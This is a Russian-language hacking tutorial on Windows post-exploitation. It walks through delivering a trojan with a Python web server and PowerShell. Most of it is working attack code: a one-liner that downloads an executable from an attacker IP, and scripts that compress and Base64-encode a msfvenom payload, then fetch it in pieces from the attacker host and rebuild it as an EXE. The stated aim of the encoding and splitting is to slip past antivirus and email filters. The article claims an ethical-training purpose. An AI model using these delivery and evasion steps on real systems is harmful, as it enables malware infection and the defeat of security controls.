Продолжим изучать постэксплуатацию с помощью PowerShell. Итак, у нас есть доступ к PowerShell и есть готовый троян, который необходимо доставить на целевую систему. Для этой задачи отлично подойдет SimpleHTTPServer и PowerShell.
Еще по теме: Взлом Windows с помощью PowerShell
Доставка вредоноса на целевую систему через PowerShell
- SimpleHTTPServer — модуль Python, который позволяет легко запустить веб-сервер прямо из командной строки (см. HTTP-сервер с шифрованием TLS на Kali Linux).
- PowerShell — оболочка (shell) и язык сценариев для операционных систем Windows и Linux.
Статья в образовательных целях, для обучения этичных хакеров. Несанкционированный взлом операционных систем является незаконным и рассматривается как уголовное преступление. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши действия.
Переходим в каталог с вредоносом и выполняем команду:
1 |
python -m SimpleHTTPServer 80 |
Теперь используем PowerShell для передачи файла:
1 |
(New-Object System.Net.WebClient).DownloadFile("http://192.168.63.143/attack1.exe", "c:\windows\temp\attack1.exe") |
Важно отметить, что путь назначения не произвольный; он должен существовать. Этот однострочник не создаст каталог.
Вы наверно подумали, что передать EXE-файл по сети таким образом – плохая идея. Вы правы. Любой антивирус спалит такую попытку. Но, что, если преобразовать вредоносный бинарный файл в Base64? Затем мы могли бы записать его в обычный текстовый файл и передать с помощью PowerShell. Давайте рассмотрим этот подход.
Для начала, вернемся к нашей системе Kali и создадим вредонос с помощью msfvenom. Затем, с помощью SimpleHTTPServer, отправим на целевую систему Windows:
Я назвал файл sneaky.exe. Теперь сожмем файл и преобразуем в Base64:
1 2 3 4 5 6 7 8 |
$rawData = [System.IO.File]::ReadAllBytes("C:\Users\bramw\Downloads\sneaky.exe") $memStream = New-Object IO.MemoryStream $compressStream = New-Object System.IO.Compression.GZipStream($memStream, [IO.Compression.CompressionMode]::Compress) $compressStream.Write($rawData, 0, $rawData.Length) $compressStream.Close() $compressedRaw = $memStream.ToArray() $b64Compress = [Convert]::ToBase64String($compressedRaw) $b64Compress | Out-File b64Compress.txt |
Давайте рассмотрим, шаг за шагом. Обратите внимание, что мы используем PowerShell для взаимодействия с .NET:
- В пространстве имен System.IO класс File содержит метод ReadAllBytes. Он открывает бинарный файл и считывает результат в байтовый массив, который называем $rawData.
- Затем создаем объект MemoryStream с именем $memStream, в котором упаковываем используя класс GZipStream. Другими словами, мы сжимаем содержимое $rawData с помощью gzip.
- Затем создаем другой массив $compressedRaw, но на этот раз данные — это наш исходный байтовый массив, сжатый с использованием gzip.
- Наконец, преобразовываем сжатый массив байтов в Base64. На этом этапе мы можем обращаться к $b64Compress (в данном примере — это текстовый файл).
Теперь вы можете открыть этот текстовый файл так же, как открываете любой другой обычный текстовый файл.
Когда я попытался отправить его по электронной почте самому себе почта пометила как возможный вирус:
Чтобы решить эту проблему, разделим Base64 на куски кода, которые, после передачи, объединим на целевой системе. Просто удалим первые пять символов из нашего текстового файла, а затем передадим оставшиеся символы по сети:
1 2 3 4 5 6 7 8 9 10 11 |
Invoke-WebRequest -Uri "http://192.168.108.211:8000/sneaky.txt" -OutFile "fragment.txt" $fragment = Get-Content -Path "fragment.txt" $final = "H4sIA" + $fragment $compressedFromb64 = [Convert]::FromBase64String($final) $memoryStream = New-Object io.MemoryStream( , $compressedFromb64) $compressStream = New-Object System.io.Compression.GZipStream($memoryStream, [io.Compression.CompressionMode]::Decompress) $finalStream = New-Object io.MemoryStream $compressStream.CopyTo($finalStream) $DesktopPath = [Environment]::GetFolderPath("Desktop") $TargetPath = $DesktopPath + "\NotNaughty.exe" [IO.File]::WriteAllBytes($TargetPath, $finalStream.ToArray()) |
Все это можно сделать с меньшим кодом, но я хочу показать пошагово. Как только наш сценарий получил фрагмент, мы объединяем отсутствующий кусок и сохраняем его как $final. Таким образом, $final теперь содержит код, закодированный в Base64, сжатый с использованием gzip в формате EXE. Мы можем использовать те же методы, что и ранее, только в обратном порядке, а затем использовать метод WriteAllBytes для создания EXE.
Как и все в Metasploit, это можно делать вручную, но к счастью, для работы с PowerShell, есть отличный инструмент — фреймворк Empire.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Проброс портов при пентесте и постэксплуатации
- Организация GUI в пентесте при постэксплуатации Windows